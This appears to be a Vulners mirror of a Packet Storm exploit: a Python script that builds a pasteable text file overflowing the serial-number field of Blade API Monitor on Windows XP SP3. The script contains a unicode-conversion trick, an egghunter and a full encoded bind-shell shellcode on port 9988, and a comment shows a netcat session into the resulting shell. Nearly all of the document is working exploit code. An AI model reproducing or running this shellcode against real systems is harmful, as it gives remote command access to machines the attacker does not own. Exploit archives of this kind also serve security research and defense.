Lucene search
K

Blade API Monitor Unicode Bypass Buffer Overflow

🗓️ 20 Feb 2012 00:00:00Reported by b33fType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

Blade API Monitor Unicode Bypass Buffer Overflow (WinXP Pro SP3

Code
`#!/usr/bin/python -w  
#---------------------------------------------------------------------------------#  
# Exploit: Blade API Monitor Unicode Bypass (Serial Number BOF) #  
# Author: b33f (Ruben Boonen) - http://www.fuzzysecurity.com #  
# http://www.fuzzysecurity.com/exploits/8.html #  
# OS: WinXP PRO SP3 #  
# Software: http://www.exploit-db.com/wp-content/themes/exploit/applications/ #  
# f248239d09b37400e8269cb1347c240e-BladeAPIMonitor-3.6.9.2.Setup.exe #  
# #  
# Unicode Exploit by FullMetalFouad - http://www.exploit-db.com/exploits/18349/ #  
#---------------------------------------------------------------------------------#  
# This is a super strange exploit. First I would like to commend "FullMetalFouad" #  
# for the unicode work on the original exploit. Originally I wanted to see if I #  
# could simplify the process. While I was doing that I lost sight of the fact #  
# that the instructions had to be printable since we need to copy them from a #  
# text file. When I opened my POC I saw that all the characters had been #  
# converted to weird blocks (check my site for a screenshot). On a whim I tried #  
# to paste these characters in the serial number field and amazingly the buffer #  
# in the debugger was intact but with one important difference, the unicode had #  
# been converted back to regular ASCII!! Very strange but super fortunate!! If #  
# you want to experiment with the exploit just keep in mind to (1) open it in #  
# windows notepad and (2) that all the characters need to be converted to those #  
# blocks for it to work (depending on your buffer this isn't always the case). #  
#---------------------------------------------------------------------------------#  
# root@bt:~# nc -nv 192.168.111.128 9988 #  
# (UNKNOWN) [192.168.111.128] 9988 (?) open #  
# Microsoft Windows XP [Version 5.1.2600] #  
# (C) Copyright 1985-2001 Microsoft Corp. #  
# #  
# C:\Program Files\BladeAPIMonitor>ipconfig #  
# ipconfig #  
# #  
# Windows IP Configuration #  
# #  
# #  
# Ethernet adapter Local Area Connection: #  
# #  
# Connection-specific DNS Suffix . : localdomain #  
# IP Address. . . . . . . . . . . . : 192.168.111.128 #  
# Subnet Mask . . . . . . . . . . . : 255.255.255.0 #  
# Default Gateway . . . . . . . . . : #  
# #  
# C:\Program Files\BladeAPIMonitor> #  
#---------------------------------------------------------------------------------#  
filename="PasteMe.txt"  
#---------------------------------------------------------------------------------#  
# Originally unicode instructions to put an address in EAX, here it is used to #  
# trigger notepad bug and get UNICODE => ASCII conversion... #  
#---------------------------------------------------------------------------------#  
UniKill = (  
"\xB8\x06\xAA\x6F\x50"  
"\x6F\x4C\x6F\x58\x6F"  
"\x05\x73\x00\x6F\xB0"  
"\xB9\xD8\xAA\x6F\xE8")  
#Egghunter - Marker b33f  
#Size 32-bytes  
hunter = (  
"\x66\x81\xca\xff"  
"\x0f\x42\x52\x6a"  
"\x02\x58\xcd\x2e"  
"\x3c\x05\x5a\x74"  
"\xef\xb8\x62\x33" #b3  
"\x33\x66\x8b\xfa" #3f  
"\xaf\x75\xea\xaf"  
"\x75\xe7\xff\xe7")  
#msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -e x86/alpha_mixed -t c  
#Size 742-bytes  
shellcode = (  
"\xd9\xe1\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49\x49"  
"\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58"  
"\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"  
"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c"  
"\x48\x68\x4b\x39\x37\x70\x45\x50\x53\x30\x71\x70\x4f\x79\x69"  
"\x75\x34\x71\x79\x42\x53\x54\x4c\x4b\x71\x42\x64\x70\x6c\x4b"  
"\x42\x72\x66\x6c\x6c\x4b\x73\x62\x57\x64\x4e\x6b\x73\x42\x36"  
"\x48\x36\x6f\x4f\x47\x71\x5a\x44\x66\x56\x51\x49\x6f\x75\x61"  
"\x69\x50\x4c\x6c\x45\x6c\x61\x71\x61\x6c\x63\x32\x44\x6c\x47"  
"\x50\x49\x51\x6a\x6f\x56\x6d\x55\x51\x49\x57\x4b\x52\x58\x70"  
"\x62\x72\x76\x37\x4e\x6b\x56\x32\x34\x50\x6c\x4b\x47\x32\x37"  
"\x4c\x73\x31\x5a\x70\x6c\x4b\x61\x50\x62\x58\x4d\x55\x49\x50"  
"\x63\x44\x50\x4a\x36\x61\x5a\x70\x50\x50\x6e\x6b\x33\x78\x74"  
"\x58\x4c\x4b\x63\x68\x57\x50\x45\x51\x4a\x73\x38\x63\x67\x4c"  
"\x42\x69\x4e\x6b\x56\x54\x6c\x4b\x47\x71\x7a\x76\x35\x61\x59"  
"\x6f\x56\x51\x49\x50\x6e\x4c\x6b\x71\x4a\x6f\x46\x6d\x67\x71"  
"\x48\x47\x46\x58\x59\x70\x62\x55\x4a\x54\x56\x63\x43\x4d\x79"  
"\x68\x75\x6b\x73\x4d\x46\x44\x63\x45\x4b\x52\x61\x48\x6e\x6b"  
"\x70\x58\x46\x44\x65\x51\x4b\x63\x32\x46\x4c\x4b\x44\x4c\x50"  
"\x4b\x4c\x4b\x46\x38\x77\x6c\x65\x51\x6b\x63\x4c\x4b\x76\x64"  
"\x6e\x6b\x56\x61\x38\x50\x6e\x69\x32\x64\x76\x44\x44\x64\x71"  
"\x4b\x71\x4b\x75\x31\x73\x69\x72\x7a\x72\x71\x59\x6f\x59\x70"  
"\x76\x38\x63\x6f\x51\x4a\x4c\x4b\x74\x52\x78\x6b\x4e\x66\x71"  
"\x4d\x51\x78\x67\x43\x46\x52\x37\x70\x43\x30\x31\x78\x71\x67"  
"\x51\x63\x35\x62\x71\x4f\x76\x34\x42\x48\x50\x4c\x53\x47\x31"  
"\x36\x54\x47\x69\x6f\x49\x45\x68\x38\x4e\x70\x37\x71\x67\x70"  
"\x35\x50\x37\x59\x7a\x64\x52\x74\x50\x50\x63\x58\x51\x39\x4b"  
"\x30\x30\x6b\x75\x50\x39\x6f\x69\x45\x32\x70\x76\x30\x42\x70"  
"\x66\x30\x73\x70\x62\x70\x31\x50\x42\x70\x43\x58\x49\x7a\x64"  
"\x4f\x4b\x6f\x39\x70\x59\x6f\x5a\x75\x6b\x39\x78\x47\x30\x31"  
"\x49\x4b\x62\x73\x33\x58\x74\x42\x43\x30\x65\x77\x53\x34\x4c"  
"\x49\x4a\x46\x70\x6a\x44\x50\x46\x36\x56\x37\x63\x58\x79\x52"  
"\x39\x4b\x34\x77\x55\x37\x6b\x4f\x38\x55\x62\x73\x76\x37\x53"  
"\x58\x6f\x47\x4b\x59\x37\x48\x6b\x4f\x69\x6f\x58\x55\x72\x73"  
"\x30\x53\x53\x67\x50\x68\x54\x34\x78\x6c\x65\x6b\x6b\x51\x39"  
"\x6f\x6e\x35\x61\x47\x6c\x49\x78\x47\x73\x58\x31\x65\x70\x6e"  
"\x30\x4d\x45\x31\x79\x6f\x49\x45\x43\x58\x50\x63\x70\x6d\x43"  
"\x54\x67\x70\x4d\x59\x39\x73\x76\x37\x53\x67\x32\x77\x56\x51"  
"\x69\x66\x30\x6a\x52\x32\x36\x39\x33\x66\x6a\x42\x6b\x4d\x62"  
"\x46\x6b\x77\x30\x44\x34\x64\x35\x6c\x43\x31\x67\x71\x4c\x4d"  
"\x50\x44\x74\x64\x32\x30\x6f\x36\x75\x50\x53\x74\x70\x54\x32"  
"\x70\x70\x56\x56\x36\x76\x36\x62\x66\x76\x36\x72\x6e\x36\x36"  
"\x52\x76\x71\x43\x30\x56\x73\x58\x64\x39\x7a\x6c\x35\x6f\x6c"  
"\x46\x59\x6f\x6e\x35\x6b\x39\x59\x70\x70\x4e\x51\x46\x47\x36"  
"\x39\x6f\x34\x70\x55\x38\x44\x48\x6c\x47\x37\x6d\x33\x50\x49"  
"\x6f\x4a\x75\x6d\x6b\x5a\x50\x6f\x45\x79\x32\x72\x76\x55\x38"  
"\x4f\x56\x4d\x45\x4f\x4d\x4f\x6d\x6b\x4f\x69\x45\x47\x4c\x67"  
"\x76\x43\x4c\x55\x5a\x6d\x50\x79\x6b\x4d\x30\x51\x65\x33\x35"  
"\x4f\x4b\x62\x67\x37\x63\x31\x62\x62\x4f\x53\x5a\x37\x70\x76"  
"\x33\x49\x6f\x4b\x65\x41\x41")  
#---------------------------------------------------------------------------------#  
# (*) Due to the wierd conversion i couldn't do proper badchar analysis #  
# (1) 0x00425e04 : push esp # ret | startnull,ascii ==> BladeAPIMonitor.exe #  
# (2) egghunter: We do this because we need more space than we have at ESP #  
# (3) alpha mixed Bindshell port 9988 #  
#---------------------------------------------------------------------------------#  
egg = "\x90"*18 + hunter  
evil = "\x90"*10 + "b33f"*2 + shellcode  
buffer = UniKill + "A"*560 + "\x04\x5E\x42\x00" + egg + "B"*500 + evil  
textfile = open(filename , 'w')  
textfile.write(buffer)  
textfile.close()  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation